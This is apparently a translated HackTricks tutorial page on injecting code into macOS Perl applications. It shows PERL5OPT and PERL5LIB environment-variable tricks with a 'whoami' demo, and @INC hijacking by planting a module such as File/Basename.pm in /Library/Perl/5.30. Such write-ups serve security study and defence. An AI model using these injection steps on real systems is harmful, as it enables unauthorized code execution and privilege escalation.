macOS Perl Applications Injection

Reading time: 4 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

PERL5OPTPERL5LIB 環境変数を使用して

環境変数 PERL5OPT を使用すると、perl が任意のコマンドを実行することが可能です。
例えば、このスクリプトを作成します:

test.pl
#!/usr/bin/perl
print "Hello from the Perl script!\n";

今、env変数をエクスポートし、perlスクリプトを実行します:

bash
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

別のオプションは、Perlモジュールを作成することです(例:/tmp/pmod.pm):

/tmp/pmod.pm
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value

そして、env 変数を使用します:

bash
PERL5LIB=/tmp/ PERL5OPT=-Mpmod

依存関係を介して

Perlが実行されている依存関係フォルダーの順序をリストすることが可能です:

bash
perl -e 'print join("\n", @INC)'

次のような結果が返されます:

bash
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

返されたフォルダのいくつかは存在しませんが、/Library/Perl/5.30存在 し、SIP によって 保護されていません し、SIP によって 保護された フォルダの にあります。したがって、誰かがそのフォルダを悪用してスクリプトの依存関係を追加し、高権限のPerlスクリプトがそれを読み込むことができます。

warning

ただし、そのフォルダに書き込むには root である必要があり、現在ではこの TCCプロンプト が表示されます:

例えば、スクリプトが use File::Basename; をインポートしている場合、/Library/Perl/5.30/File/Basename.pm を作成して任意のコードを実行させることが可能です。

References

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする